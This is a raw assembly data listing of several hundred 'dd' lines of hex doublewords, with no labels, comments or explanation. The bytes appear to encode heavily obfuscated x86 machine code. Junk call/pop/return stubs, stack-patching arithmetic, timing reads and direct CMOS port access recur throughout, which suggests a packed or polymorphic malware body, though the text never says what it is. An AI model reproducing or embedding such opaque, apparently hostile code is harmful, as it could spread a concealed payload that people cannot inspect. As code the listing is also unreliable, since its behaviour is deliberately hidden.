		dd 7B2207BEh, 6AE1FF65h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0B1BC353h, 0D95D05ABh
		dd 5FE74499h, 1379B523h, 8D8D061Fh, 61F1409h, 0C7FE8B66h
		dd 0CA95A501h, 57006A54h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 54A8B9F9h, 85895542h
		dd 61F2AADh, 0CFCB0181h, 0C7F51499h, 59690441h,	6ACE5Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 81BCFCC3h, 0D7100441h, 0B58B31D6h, 61F1129h,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 8222A7C3h, 0F78B680Ah, 1409858Dh, 6A061Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCB1A7C3h
		dd 10E86050h, 50000000h, 8FC8DEC4h, 0B9FF2F15h,	0C5448706h
		dd 0F0CE52Ah, 8Bh, 0A7B35B00h, 24048961h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 72C35141h, 0F9E8DC69h
		dd 9392BE02h, 95FF5E3Bh, 61F0A39h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0E1C35545h,	14098D8Dh, 0FA8B061Fh
		dd 1C7h, 0FB8B0000h, 441C7h, 6A000000h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B4DCC353h
		dd 0A56F8C4Dh, 0C00B4E57h, 69840Fh, 0BD8B0000h,	61F2F05h
		dd 4DB08D8Dh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 80605AC3h, 6E94FD9h, 5000000h, 658328Bh
		dd 5B861F0h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 9434C352h, 0E1858951h
		dd 0FF061F0Fh, 0D4DF81E1h, 3360A2Ch, 0F1FCE9CAh, 0C18BFFFFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9AC35343h
		dd 6940BE66h, 4EBh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B58BBCC3h, 61F09B5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1DC35141h
		dd 37A8C223h, 0A984C227h, 19BD858Dh, 8D31061Fh,	61F2A91h
		dd 52505250h, 5E57310Fh, 895E585Ah, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BE8043C3h
		dd 1AEDBD89h, 6A061Fh, 6890F50h, 89000000h, 1F2B858Dh
		dd 6A5E06h, 0DBD8D01h, 858D061Fh, 622E2E7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F6C35747h, 1E4F7A44h
		dd 0DFCC2434h, 12E808h,	96D30000h, 0EA8F7751h, 187B252Dh
		dd 66CA3A3Eh, 4EE076F5h, 5870Fh, 81660000h, 5E228CE6h
		dd 6005C083h, 6800Fh, 800F0000h, 0
		dd 0F78B6661h, 0DE850h,	0C84D0000h, 0A170A254h,	0BC99E188h
		dd 532986A5h, 5EF28B66h, 2404895Eh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 37C35040h, 0E48BD7BAh, 3B5A04FFh
		dd 0A5A6BE7Fh, 9D89542Bh, 61F0D45h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0E08C30C3h
		dd 8D892504h, 61F2C3Dh,	0BD89006Ah, 61F0EC9h, 16195FFh
		dd 8589061Fh, 61F2FA5h,	0B1F29D8Dh, 6A0622h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0EE819EC3h
		dd 4C0B5F16h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0ED44EFC3h, 2F3DC619h, 0B58B1857h
		dd 61F0F95h, 102985FFh,	0E9F9061Fh, 963h, 0E8h,	0ED815D00h
		dd 622E2F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0CCC35242h, 0BE442EE4h,	1F44B603h, 5E1BD81h, 7D0061Fh
		dd 860F0000h, 137h, 0D850Fh, 8E90000h, 0AD000000h, 4D044876h
		dd 8B59225Ch, 1F160D9Dh, 0EE906h, 0C4360000h, 453E7D74h
		dd 0E9F5FB1Ah, 0E910174Fh, 100E381h, 880F0000h,	3, 0E9F3BF0Fh
		dd 0Dh,	54348E9Bh, 356584FEh, 0AC5E479h, 0FDB0B31h, 7F85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0F756F6D5h, 0F1BF0F4Bh, 0BE9h, 2205400h
		dd 0E7BC342h, 0D91067E6h, 0E102BD83h, 0F000622h, 2B84h
		dd 13E900h, 0C7420000h,	0FE49B0A9h, 0DC50D327h,	0C4D97E01h
		dd 498C27D1h, 4EE932h, 31600000h, 1F30558Dh, 1B58B06h
		dd 61061F01h, 0E10285C7h, 10622h, 81660000h, 0E9EC1AEEh
		dd 2Ch,	0E10285C7h, 622h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 37D923C3h, 5EF38B50h
		dd 160D9D8Dh, 0C681061Fh, 0F5F2531h, 0FEFF2381h, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A9302BC3h, 0E6BE599Bh, 667E0BCDh, 0F6F8DB8Ch, 840F04C3h
		dd 67h,	19CDB58Bh, 95FF061Fh, 61F3175h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 2DC35141h, 0AD7D5D01h
		dd 8D31DFE0h, 61F08CDh,	0EEB1BE50h, 4896042h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 81A2B796h, 8A0F7116h, 3, 0E9F18B66h,	3C2h, 8900B0F9h
		dd 1F3259B5h, 6A70E606h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9715C352h, 315638E7h
		dd 6820Fh, 0B5230000h, 61F10E5h, 12E971E4h, 0F5000000h
		dd 0B3C5FFABh, 615198C2h, 6B1C0C36h, 0F4AA85FFh, 0D8B60F9Ah
		dd 2CD9589h, 7E9061Fh, 57000000h, 1420895h, 6BA5364h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 2D8DC357h, 0CF6D753Eh, 0EF4C9E79h, 8BF6BF0Fh
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 5074392Ch, 0DFE7C477h, 4E8C1BDh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D2C35141h, 9E879F1h
		dd 0A3000000h, 0B8AE2369h, 114CE839h, 0F2B70F53h, 0F7665E5Eh
		dd 56006AE2h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0AD456347h, 632F89F8h, 6AD82BEDh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0EF2FC350h, 0B70F79FFh, 8B5093F1h, 0B58B93F3h, 61F1F29h
		dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 8FBE26C3h, 4595FFF5h, 9061F1Dh
		dd 1F1EC5BDh, 0E900B006h, 6, 978FDAD3h,	70E63C61h, 0BE6671E4h
		dd 613C8E71h, 230830Fh,	0FC500000h, 0D8B60F5Eh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 23C35545h, 31D7A9D4h
		dd 1F0271B5h, 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 75CA23C3h, 0F5C55451h
		dd 6890Fh, 0B58B0000h, 61F0591h, 0AC9B589h, 0C38B061Fh
		dd 1EB58D31h, 0E8C1061Fh, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 68A5A625h
		dd 7DB58B59h, 66061F2Dh, 0FE8E2F7h, 45000000h, 5E1016CEh
		dd 13068DAEh, 0DEFDA25Bh, 0B58B35C7h, 61F2005h,	0E8D82B5Eh
		dd 13h,	89431738h, 66644E70h, 3A0F7EBFh, 8A597E81h, 50B616ACh
		dd 6A585E5Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 757C353h, 933C80D1h, 7870F7Fh
		dd 0F000000h, 18Ah, 8509F500h, 61F1215h, 880FD82Bh, 122h
		dd 58536052h, 7B95E61h,	60000000h, 6880Fh, 858B0000h, 61F2D7Dh
		dd 28E0Fh, 5A560000h, 0C18361h,	0DFB70F60h, 7B9AF281h
		dd 3B610DC9h, 0EB860FD9h, 0F000000h, 682h, 119D8900h, 66061F08h
		dd 0DE9D98Ch, 0FC000000h, 85AC6FBDh, 26FF339h, 2D1BBB47h
		dd 0F04C1F6h, 8E84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0F37EDB90h, 89F7F2AAh
		dd 1F0CC985h, 7595FF06h, 8B061F31h, 1F06A9B5h, 5B5E5306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h
		dd 8CDB589h, 0C32B061Fh, 13E9h,	0E3B39400h, 51E660C7h
		dd 43063DA7h, 7252E92Eh, 70D1D780h, 8343Dh, 10860F00h
		dd 8B000000h, 3CE9F2h, 810F0000h, 3, 8BF6B70Fh,	50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0D3301596h, 0C884030Bh, 0B58B3165h, 61F0DF5h, 1B2DB58Bh
		dd 0C38B061Fh, 6AD88Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 70B588C3h, 29058EDAh, 1F0F4995h
		dd 9B53106h, 0C7061F30h, 1F027D85h, 2FB7FB06h, 10E970h
		dd 58B30000h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h, 0C08BB425h
		dd 16D1B58Bh, 0BD81061Fh, 61F05E1h, 7D0h, 50850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 43FBC8C3h, 4010180Dh, 9396BE66h, 5E185FFh, 6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 839A14C3h, 0E681667Ah, 0B5FFEEDCh, 61F05E1h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h, 8B9CAF85h
		dd 1F1715B5h, 4595FF06h, 6A061F1Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0ABAFC355h
		dd 7488BE09h, 31F5EE91h, 1F1FD18Dh, 8880F06h, 60000000h
		dd 8AAE181h, 90616D21h,	6AD88Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 449E6C3h, 43999E7Ch
		dd 3118D29h, 0BD83061Fh, 61F20F1h, 14840F00h, 0E9000000h
		dd 8, 0C9C1E27h
		dd 0AD8A1062h, 23EE9h, 8CF78B00h, 235260DFh, 1F0F1D9Dh
		dd 95295806h, 61F05C5h,	0C7F76661h, 850F0004h, 21Fh, 0EF9DDE81h
		dd 0BF65F7h, 8B000000h,	1F113DB5h, 0F1B58B06h, 8D061F16h
		dd 22EBDD9Dh, 3ABE6606h, 830F03h, 50000000h, 2810F60h
		dd 8B000000h, 2840FC7h,	56000000h, 1C89615Eh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 42A979D0h, 0A293D198h, 0BE662E05h, 0FF6402A9h, 35h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0B64D66D2h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0FF50C357h, 6830FD0h, 8B000000h, 1F2A31B5h, 6AC48B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 7555C353h, 0E7CD6652h, 29CB314Eh,	1F0FC99Dh
		dd 21B58B06h, 0CD061F12h, 8B00EB01h, 1F1E05B5h,	0EBE8BE06h
		dd 6A697Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0ACD916C3h, 54BEECFh, 58F643Dh, 0
		dd 0E95B523h, 0CE81061Fh, 12445290h, 6A04C483h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 6A23C353h, 0FB1503AAh, 9509275Eh, 61F20C1h, 840FC00Bh
		dd 0B7h, 41853160h, 66061F00h, 19B5D681h, 0B0BD8D61h, 6A061F4Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 3759C356h, 0E63A629Eh, 5B8h, 4DBD8900h, 8B061F0Eh
		dd 1F16ADB5h, 8BE7FF06h, 1F1361B5h, 5C8B5706h, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 0E8C3C033h, 6, 0BF607675h, 0DE93F88h, 3000000h, 1B327493h
		dd 0A047711Ah, 7FD36481h, 56006A5Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3F35FB5Ah
		dd 0B6A91539h, 85B52B8Bh, 2B061F13h, 0F69EE9CAh, 8BF5FFFFh
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 7E2E3EA4h, 0FE960h, 0A6CA0000h, 0F106D5Ch
		dd 0D5F7903Ch, 7C113451h, 13E915h, 0C41F0000h, 0D7C8F6CFh
		dd 61CB1B49h, 9C001A28h, 9E9B184Eh, 0BD8B617Eh,	61F2ED1h
		dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 180424h, 51410000h, 0E08104C3h, 6A22E3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858D40C3h
		dd 61F19BDh, 0AE9h, 0B01D1500h,	313FFD1Dh, 90C6DFEAh, 0F525050h
		dd 810F31h, 5A000000h, 6A9058h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0C14A6DC3h, 16E1B58Bh
		dd 6A061Fh, 6A006Ah, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 7AC2B5C3h, 4006285Dh, 816606B0h
		dd 8DABF5CEh, 22EE5385h, 5C08306h, 0E7DB58Bh, 8B90061Fh
		dd 8D0F50F9h, 1Ah, 13E960h, 19A40000h, 89E6C86Fh, 0CE1D73FDh
		dd 854C9C5Eh, 702E9899h, 0F90617Dh, 85h, 8B006A00h, 1F0EDDBDh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3CC355h, 5688406Eh, 0F60FEAC1h
		dd 9E9h, 57BD7400h, 23096656h, 0BE92C8Eh, 8B000000h, 188A0DD5h
		dd 46FC4B57h, 0B58B62CBh, 61F1181h, 16195FFh, 880F061Fh
		dd 4, 9A39BE66h, 0B1F29D8Dh, 6A0622h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0BFE2ACC3h
		dd 75BA8D1Ah, 0BD8BD3FFh, 61F2A49h, 102985FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 621781C3h, 699D3139h, 0E9061F2Ah, 873h, 0E8h, 0ED815D00h
		dd 622EE5Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	93C35747h, 13BBFF21h, 8B52D2BEh, 1F1F35BDh, 0BD815E06h
		dd 61F05E1h, 7D0h, 191860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 40701BC3h
		dd 0B58B537Ah, 61F14E1h, 2AD19D8Bh, 0B5BF061Fh,	8112BEA5h
		dd 100E3h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0DFE30BF3h, 0DB0B1299h, 0B1850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 5500A9C3h, 636DC1E3h, 3840F2Bh, 0F000000h
		dd 0BD83F9BFh, 622ECA6h, 33840F00h, 29000000h, 1F07D185h
		dd 9AE906h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 180424h, 56460000h, 57A56FC3h, 0BD8BA14Eh, 61F0825h
		dd 85C7F08Bh, 622ECA6h,	1, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C1C35545h, 5BA30EAEh, 0B58ECAD2h, 8855F681h
		dd 39E918DFh, 0E9000000h, 7, 0AAAF433Dh, 0C725B356h, 22ECA685h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 66C0D249h, 7048DE81h, 2AD19D8Dh
		dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0F88B3CC3h, 151D8509h, 2381061Fh,	0FFFFFEFFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BDC35747h
		dd 3B22F619h, 66F08B66h, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 3689C1C3h, 0B8F90E64h
		dd 58F0FDAh, 66000000h,	0B41BC781h, 830Fh, 0C3F60000h
		dd 66840F04h, 0BF000000h, 0DD16C56h, 317595FFh,	6A061Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C21B7AC3h, 6E9h, 27121400h,	66289577h, 900CA7BEh, 8E850h
		dd 0ED240000h, 0C81D9DF9h, 12E9CD04h, 7F000000h, 7B7F38F6h
		dd 0F49CA68Ah, 0E2348C24h, 61414EB7h, 81905FC6h, 3BBCEDD6h
		dd 3D5E978h, 820F0000h,	8, 0BD9D2956h, 5E061F0Eh, 7D1BD8Bh
		dd 0B0061Fh, 15A1B589h,	70E6061Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 73C35343h, 0C7BFC543h, 0CF8166DCh
		dd 71E47F23h, 20E9BD8Bh, 8529061Fh, 61F1D6Dh, 81D8B60Fh
		dd 898FFDE7h, 6BA46h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0BCE79BC3h, 8B88C7FBh
		dd 0FE8B66C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 6C8EC350h, 0E2468533h
		dd 810F3821h, 5, 0C5CE8166h, 0F766F9D3h, 52006AE2h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0B07BBD70h, 0BDB58B0Bh, 2B061F30h, 25B589D8h, 50061F16h
		dd 0FE9h, 0ABABE100h, 9A51E3E5h, 0D8C3991Eh, 0F2835240h
		dd 0FF241C89h, 1F05E1B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B7AA46FDh
		dd 646F6506h, 4595FFB1h, 6A061F1Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3E69C355h
		dd 424CA399h, 0C185891Dh, 8B061F02h, 1F2ED1B5h,	3300B006h
		dd 1F167DBDh, 6A70E606h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5BE3C353h, 0FF9BF0Fh
		dd 8Dh,	6A71E400h, 3E85000h, 20000000h,	8958C358h, 81042444h
		dd 19042444h, 40000000h, 4778C350h, 0E19FEA71h,	7CC2B0BFh
		dd 0F613C36h, 21683h, 95BD8900h, 0F061F16h, 38Eh, 0FE8B6600h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 6408C357h, 0BD0B59A8h,	61F1221h
		dd 81666057h, 0FC2309DAh, 6BA5F61h, 0E8000000h,	0Eh, 30A3DD54h
		dd 68AD3531h, 700A7A91h, 8B5EB6D9h, 0FD8589C3h,	0C1061F20h
		dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0E9E6A8C3h, 0C4C85DDAh, 66D6FE16h, 0FE8E2F7h
		dd 0D5000000h, 0F178A726h, 0E5720987h, 0C6D3DDC4h, 9589BF47h
		dd 61F1465h, 6AD82B5Eh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7FC4C352h, 8EDB4017h
		dd 2459D89h, 151061Fh, 1F1C0995h, 0E9585F06h, 6, 0A1FAA901h
		dd 0D82BFCF2h, 129880Fh, 0E0BF0000h, 0B914369Ah, 7, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7CC35141h, 132C7669h
		dd 0F725559h, 1488h, 0CE85100h,	58000000h, 14963CD5h, 0FE0E2389h
		dd 5F016B9Eh, 0C1835Fh,	860FD93Bh, 0D7h, 365751BFh, 0D98C663Dh
		dd 32B98D31h, 0C1F6061Fh, 0B2840F04h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F85CC353h, 2A51BD89h, 95FF061Fh, 61F3175h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h, 11E88B38h
		dd 8A000000h, 4FFA5771h, 0AE62CA9Eh, 0FA150069h, 44C96785h
		dd 56E6815Fh, 8917E591h, 1F08859Dh, 0B58B5B06h,	61F0769h
		dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D44F10C3h, 0B463C25h, 0DCDF8134h, 3D1A10F0h
		dd 834h, 0B860Fh, 0B58B0000h, 61F1A71h,	0EE9h, 0FC08B00h
		dd 68Ch, 698D3100h, 8B061F16h, 0C7D88BC3h, 1F160D85h, 0DE817706h
		dd 52006A11h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0C08B4D20h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 16C35646h, 0D833D1B8h, 0AED9D89h, 6660061Fh
		dd 9589F78Bh, 61F0675h,	0E1BD8161h, 0D0061F05h,	0F000007h
		dd 4085h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 85FFB9BCh, 61F05E1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C5C35141h, 0E1B5FF9Fh
		dd 6A061F05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 49EC355h, 9E9h, 91977F00h, 1963BB2Fh
		dd 0B58B3C2Ch, 61F2AD5h, 1D4595FFh, 6660061Fh, 9985D681h
		dd 61D9B70Fh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 6A2C000Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 29BFC357h, 1F08B195h
		dd 14E906h, 0CE6F0000h,	56A81B18h, 6F2DE421h, 2EF3C1Ch
		dd 129E9C7h, 6AA901h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 899326C3h, 95896020h, 61F20C9h
		dd 6850Fh, 958B0000h, 61F30FDh,	7DB58B61h, 89061F0Ah, 1F192D8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 3C288310h, 4E8B917Bh, 718D31F5h,	60061F24h
		dd 6850Fh, 958B0000h, 61F15C5h,	1AE1B589h, 8D89061Fh, 61F1A25h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 32781217h, 0E9F353D7h, 90D6F4BFh, 0F7AAE944h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8BA34FC3h, 6860FC1h, 8B000000h, 1F2EB5B5h
		dd 4EB06h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0D849C350h, 858DF916h,	61F19BDh
		dd 9E60DF81h, 895005BCh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0EB0A17C3h, 50C9583h
		dd 659D8968h, 6A061F1Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6AF576h, 8E9h,	0D3EF5300h
		dd 5BA9F0D8h, 2DB52370h, 8D061F30h, 22F8C885h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6F05EDB8h, 0DA490484h, 31B58BBDh, 83061F13h,	6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C68A9BC3h, 9BE68166h, 14820F65h, 0F000000h,	0E82h
		dd 9E900h, 0A5560000h, 0AF316A98h, 0FD58F88h, 682h, 0E5B58900h
		dd 50061F09h, 89FB8B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0CDABEC3h, 665E8640h
		dd 2D09CF81h, 0CDDB58Bh, 0BD8B061Fh, 61F0805h, 0CE81006Ah
		dd 1FCA3EDDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 7C3E82C3h, 0FFF0B70Fh, 1F016195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F5858903h, 0BE061F0Fh, 9BF1627h, 0B1F29D8Dh
		dd 8D890622h, 61F0619h,	6AD3FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF8ABEC3h, 1F102985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FBB70FCCh, 845E9h, 0E800h, 815D0000h, 22F8D2EDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 611B2FF1h, 90FA3ED8h, 56D681A5h,	811BA059h
		dd 1F05E1BDh, 7D006h, 78860F00h, 0F000001h, 9D8BFEBFh
		dd 61F0DD5h, 0B927D2BEh, 0E3814Ch, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8212C351h, 57C0219Ah, 769F4943h, 850FDB0Bh, 0C9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D2C35343h, 39B50B92h
		dd 52061F0Dh, 8B5E5E53h, 1F1D7DBDh, 0DBBD8306h,	622F6h
		dd 4E840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 6FE1C6C3h, 66F8FE60h, 9FE9FA8Bh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1875C350h, 0B23D7B28h,	38562198h
		dd 0F6DB85C7h, 10622h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0F5FC7C3h, 0FE9h, 0D172200h
		dd 71F845C4h, 771DA55h,	0CF3457DBh, 39E9h, 0DB85C700h
		dd 622F6h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 526CC352h, 0C8D0Fh, 0BA600000h
		dd 30B54CECh, 36DE20BBh, 9D8D616Ah, 61F0DD5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 49C35747h, 0C18D89DBh
		dd 81061F2Bh, 0FFFEFF23h, 25B58BFFh, 66061F0Fh,	800FDB8Ch
		dd 1, 4C3F6FCh,	32840Fh, 8E0F0000h, 6, 29DBD8Bh, 95FF061Fh
		dd 61F3175h, 0AF836FBFh, 0B1609060h, 50506111h,	0F18B6652h
		dd 0BABE310Fh, 5A3BA893h, 9D019058h, 61F2BCDh, 3E4E9h
		dd 6A00B000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F6C357h, 70E6E458h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 8C9E3926h
		dd 0FC575616h, 0BE6671E4h, 0B60FDFE0h, 93BF66D8h, 6BA67h
